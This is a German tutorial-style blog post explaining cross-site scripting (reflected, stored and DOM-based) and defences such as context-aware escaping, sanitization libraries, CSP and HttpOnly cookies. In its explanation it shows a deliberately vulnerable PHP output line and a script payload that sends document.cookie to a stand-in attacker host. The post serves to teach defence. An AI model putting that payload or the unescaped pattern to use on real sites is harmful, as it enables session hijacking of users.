Ein XSS-Angriff (Cross-Site Scripting) entsteht, wenn ein Angreifer schädliches JavaScript in eine Webseite einschleust, der das Opfer vertraut, sodass der Code in dessen Browser läuft. Da die Seite von deiner Domain ausgeliefert wird, kann dieser Code auf Sitzungs-Cookies, Local Storage und alles zugreifen, was der eingeloggte Nutzer tun darf. XSS steht seit Jahren auf der OWASP-Liste kritischer Web-Schwachstellen und geht dabei auf einen einzigen Grundfehler zurück: vom Nutzer gelieferte Daten ungeprüft in die HTML-Ausgabe einzubetten.
Wie funktioniert ein XSS-Angriff genau?
Die Probleme beginnen, wenn eine Webanwendung Nutzereingaben (einen Suchbegriff, einen Kommentar, einen Profilnamen) unverändert ins HTML schreibt. Der Browser parst alles, was auf der Seite ankommt, und interpretiert Tags wie <script> als auszuführenden Code. Genau darauf zielt der Angreifer: Er platziert Code, keinen Text, in ein Datenfeld.
Angenommen, eine Suchseite gibt die Anfrage direkt auf dem Bildschirm aus:
<p>Ergebnis: <?= $_GET['q'] ?></p>
Setzt der Angreifer den Parameter q auf:
<script>fetch('https://boese.site/c?'+document.cookie)</script>
führt der Browser dies als echtes Skript aus und schickt die Cookies des Nutzers an den Server des Angreifers. Der Kern des Problems: Daten, die als Text angezeigt werden sollten, werden als HTML interpretiert.
Der Unterschied zwischen Reflected und Stored XSS
XSS gibt es in drei Hauptformen; die beiden, denen du am häufigsten begegnest, sind reflected und stored.
- Reflected XSS: Der schädliche Code kommt als Teil der Anfrage (meist in einem URL-Parameter) und wird sofort in der Antwort des Servers zurückgespiegelt. Er ist nicht persistent; das Opfer muss auf einen präparierten Link klicken. Phishing-Mails und gekürzte URLs sind die Hauptträger dieses Typs.
- Stored XSS: Der schädliche Code wird in der Datenbank gespeichert (zum Beispiel ein Kommentar oder ein Profilfeld) und an jeden ausgeliefert, der diese Seite öffnet. Eine einzige Einschleusung kann Tausende Nutzer treffen, was sie gefährlicher macht als die reflected-Variante.
- DOM-basiertes XSS: Die Schwachstelle liegt im clientseitigen JavaScript und nicht auf dem Server; sie tritt auf, wenn Daten unsicher in etwas wie
innerHTMLgeschrieben werden.
Das Fundament der Verteidigung: Output-Escaping
Die zuverlässigste Verteidigung gegen XSS besteht darin, Daten bei der Ausgabe kontextabhängig zu escapen. Beim Schreiben in den HTML-Körper werden kritische Zeichen in harmlose Entsprechungen umgewandelt:
<→<>→>&→&"→"
So erreicht <script> den Browser als reiner Text auf dem Bildschirm und nicht als Code. In reinem PHP machst du das mit htmlspecialchars:
<p>Ergebnis: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>
Entscheidend ist, im richtigen Kontext zu escapen. HTML-Attribute, JavaScript-Blöcke, URLs und CSS erfordern jeweils unterschiedliche Escaping-Regeln. Wende das Escaping danach an, wohin die Daten gehen.
Automatisches Escaping in modernen Frameworks
Die gute Nachricht: Die meisten modernen Template-Engines escapen die Ausgabe standardmäßig. In Laravels Blade-Engine wendet {{ $variable }} automatisch htmlspecialchars an; um rohes HTML auszugeben, musst du bewusst {!! $variable !!} schreiben. In React werden Variablen innerhalb von JSX ebenfalls standardmäßig escaped; die Gefahr beginnt erst, wenn du dangerouslySetInnerHTML verwendest.
Die daraus folgende Regel ist klar: Verwende APIs, die rohes HTML ausgeben, nur wenn es wirklich nötig ist und nur mit Daten, denen du vertraust. Lass niemals Nutzerinhalte durch diese Wege laufen.
Wenn du Nutzer-HTML brauchst: Sanitization
Manchmal musst du Nutzern erlauben, formatierte Inhalte einzugeben (Fettdruck, Links, Listen). Escaping hilft hier nicht, denn du willst, dass das HTML funktioniert. Die Lösung ist Sanitization: den Inhalt durch eine Whitelist sicherer Tags laufen lassen und gefährliche Teile wie <script>, onerror und javascript: entfernen.
Versuche nicht, das selbst mit Regex zu schreiben; dieser Ansatz lässt sich fast immer umgehen. Verwende ausgereifte Bibliotheken:
- DOMPurify auf der Client-Seite.
- HTML Purifier auf der PHP-Seite.
Diese Werkzeuge laufen auf über Jahre verfeinerten Parsern und bleiben gegen jede bekannte Umgehungstechnik aktuell.
Zusätzliche Verteidigungsschichten
Escaping ist die primäre Verteidigung, aber für eine Tiefenverteidigung kannst du weitere Schichten hinzufügen:
- Content Security Policy (CSP): Mit dem Header
Content-Security-Policyschränkst du ein, aus welchen Quellen Skripte geladen werden dürfen. Eine Richtlinie, die Inline-Skripte blockiert, begrenzt den Schaden selbst dann, wenn eine Einschleusung durchrutscht. - HttpOnly-Cookies: Markierst du das Sitzungs-Cookie als
HttpOnly, kann JavaScript es nicht lesen, was Cookie-Diebstahl deutlich erschwert. - Eingabevalidierung: Das erwartete Format (E-Mail, Zahl, Datum) auf dem Server zu validieren, verengt die Angriffsfläche — ersetzt aber das Escaping nicht.
Häufige Fragen
Wenn ich die Eingabe bereinige, muss ich bei der Ausgabe trotzdem escapen?
Ja. Eingabevalidierung ist nützlich, aber allein nicht ausreichend, denn dieselben Daten können in verschiedenen Kontexten (HTML, Attribut, JavaScript) angezeigt werden. Echte Sicherheit kommt davon, die Daten kontextabhängig genau an dem Punkt zu escapen, an dem du sie ausgibst.
Verhindert die Verwendung von HTTPS XSS?
Nein. HTTPS verschlüsselt Daten während der Übertragung und verhindert Manipulation auf der Leitung, aber XSS ist Code, der innerhalb der Seite selbst läuft. Eine verschlüsselte Verbindung hält ein schädliches Skript nicht von der Ausführung ab.
Ich habe nur eine statische Seite — bin ich trotzdem gefährdet?
Wenn du nie Nutzereingaben verarbeitest oder irgendwo ausgibst, ist das Risiko für reflected/stored XSS sehr gering. Aber sobald du Kommentare, eine Suche oder ein Drittanbieter-Widget hinzufügst, öffnet sich die Angriffsfläche.
Willst du sichergehen, dass deine Anwendung gegen XSS gewappnet ist? Für Hilfe bei einem Security-Review, fehlendem Escaping und der CSP-Konfiguration nimm Kontakt mit mir auf.